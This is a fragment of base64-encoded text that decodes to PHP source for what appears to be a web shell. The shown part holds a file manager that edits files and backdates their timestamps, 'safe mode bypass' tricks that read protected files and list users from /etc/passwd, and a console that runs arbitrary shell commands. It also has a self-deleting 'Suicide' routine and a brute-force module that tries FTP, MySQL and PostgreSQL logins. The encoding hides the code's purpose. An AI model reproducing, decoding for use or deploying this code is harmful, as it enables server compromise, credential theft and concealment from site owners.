snbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOw0KCWVjaG8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOw0KCWlmKCBlbXB0eSgkX1BPU1RbJ3AyJ10pICkNCgkJJF9QT1NUWydwMiddID0gJ3ZpZXcnOw0KCWlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQ0KCQkkbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdIZXhkdW1wJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQoJZWxzZQ0KCQkkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCglmb3JlYWNoKCRtIGFzICR2KQ0KCQllY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOw0KCWVjaG8gJzxicj48YnI+JzsNCglzd2l0Y2goJF9QT1NUWydwMiddKSB7DQoJCWNhc2UgJ3ZpZXcnOg0KCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvcHJlPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGlnaGxpZ2h0JzoNCgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsNCgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOw0KCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAnY2htb2QnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSRwZXJtcyA9IDA7DQoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkNCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnZWRpdCc6DQoJCQlpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCSRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7DQoJCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOw0KCQkJCWlmKCRmcCkgew0KCQkJCQlAZndyaXRlKCRmcCwkX1BPU1RbJ3AzJ10pOw0KCQkJCQlAZmNsb3NlKCRmcCk7DQoJCQkJCWVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOw0KCQkJCQlAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsNCgkJCQl9DQoJCQl9DQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KCQkJaWYoJGZwKSB7DQoJCQkJd2hpbGUoICFAZmVvZigkZnApICkNCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCgkJCQlAZmNsb3NlKCRmcCk7DQoJCQl9DQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ2hleGR1bXAnOg0KCQkJJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsNCgkJCSRuID0gMDsNCgkJCSRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KCQkJJGxlbiA9IHN0cmxlbigkYyk7DQoJCQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsNCgkJCQkkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOw0KCQkJCXN3aXRjaCAoIG9yZCgkY1skaV0pICkgew0KCQkJCQljYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQlkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOw0KCQkJCX0NCgkJCQkkbisrOw0KCQkJCWlmICgkbiA9PSAzMikgew0KCQkJCQkkbiA9IDA7DQoJCQkJCWlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9DQoJCQkJCSRoWzFdIC49ICc8YnI+JzsNCgkJCQkJJGhbMl0gLj0gIlxuIjsNCgkJCQl9DQoJCSAJfQ0KCQkJZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ3JlbmFtZSc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQ0KCQkJCQllY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nOw0KCQkJCWVsc2UNCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7DQoJCQl9DQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ3RvdWNoJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOw0KCQkJCWlmKCR0aW1lKSB7DQoJCQkJCWlmKCF0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQ0KCQkJCQkJZWNobyAnRmFpbCEnOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICdUb3VjaGVkISc7DQoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7DQoJJHRlbXA9Jyc7DQoJb2Jfc3RhcnQoKTsNCglzd2l0Y2goJF9QT1NUWydwMSddKSB7DQoJCWNhc2UgMToNCgkJCSR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsNCgkJCWlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7DQoJCQkJZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOw0KCQkJCXVubGluaygkdGVtcCk7DQoJCQl9IGVsc2UNCgkJCQllY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsNCgkJCWJyZWFrOw0KCQljYXNlIDI6DQoJCQkkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOw0KCQkJaWYoIGlzX2FycmF5KCRmaWxlcykgKQ0KCQkJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpDQoJCQkJCWVjaG8gJGZpbGVuYW1lLiJcbiI7DQoJCQlicmVhazsNCgkJY2FzZSAzOg0KCQkJJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLnByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KCQkJY3VybF9leGVjKCRjaCk7DQoJCQlicmVhazsNCgkJY2FzZSA0Og0KCQkJaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KCQkJaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KCQkJaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOw0KCQkJYnJlYWs7DQoJCWNhc2UgNToNCgkJCWZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgew0KCQkJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCgkJCQlpZiAoJHVpZCkNCgkJCQkJZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOw0KCQkJfQ0KCQkJYnJlYWs7DQoJfQ0KCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQoJQk9GRkhlYWRlcigpOw0KCWVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCgllY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJaWYoJHRlbXApDQoJCWVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHRlbXApLic8L3ByZT4nOw0KCWVjaG8gJzwvZGl2Pic7DQoJQk9GRkZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgew0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gdHJ1ZTsNCiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gZmFsc2U7DQoNCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOw0KCQlvYl9zdGFydCgpOw0KCQllY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7DQoJCSR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuQk9GRkV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOw0KCQlpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpCXsNCgkJCWlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7DQoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOw0KCQkJCWVjaG8gImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KCQkJfQ0KCQl9DQoJCWVjaG8gImQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOw0KCQllY2hvICJkLmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkLmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsNCgkJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsNCgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCgkJZXhpdDsNCgl9DQoJQk9GRkhlYWRlcigpOw0KICAgIGVjaG8gIjxzY3JpcHQ+DQppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOw0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOw0KdmFyIGN1ciA9IDA7DQpmdW5jdGlvbiBrcChlKSB7DQoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7DQoJaWYobiA9PSAzOCkgew0KCQljdXItLTsNCgkJaWYoY3VyPj0wKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXIrKzsNCgl9IGVsc2UgaWYobiA9PSA0MCkgew0KCQljdXIrKzsNCgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1ci0tOw0KCX0NCn0NCmZ1bmN0aW9uIGFkZChjbWQpIHsNCgljbWRzLnBvcCgpOw0KCWNtZHMucHVzaChjbWQpOw0KCWNtZHMucHVzaCgnJyk7DQoJY3VyID0gY21kcy5sZW5ndGgtMTsNCn0NCjwvc2NyaXB0PiI7DQoJZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOw0KCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgew0KCQlpZigkdiA9PSAnJykgew0KCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOw0KCQkJY29udGludWU7DQoJCX0NCgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOw0KCX0NCglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KCWVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZC5jZi5hbGlhcy52YWx1ZSk7aWYoZC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IiB2YWx1ZT0iPj4iPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuQk9GRkV4KCRfUE9TVFsncDEnXSkpOw0KCX0NCgllY2hvICc8L3RleHRhcmVhPjx0YWJsZSBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjZGY1O2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXItdG9wOjBweDsiIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgew0KICAgIHNlc3Npb25fZGVzdHJveSgpOw0KCWRpZSgnYnllIScpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgew0KCQ0KCWlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykNCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KCQllbHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpDQogICAgICAgIEJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7DQoJQk9GRkZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgew0KCUJPRkZIZWFkZXIoKTsNCglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsNCgkJZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOw0KCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOw0KCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsNCgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBmdHBfY2xvc2UoJGZwKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7DQoJCQkJQG15c3FsX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7DQoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsNCgkJCQkkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7DQoJCQkJQHBnX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9DQoJCSRzdWNjZXNzID0gMDsNCgkJJGF0dGVtcHRzID0gMDsNCgkJJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsNCgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KCQkJJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7DQoJCQkJCQkkc3Vj
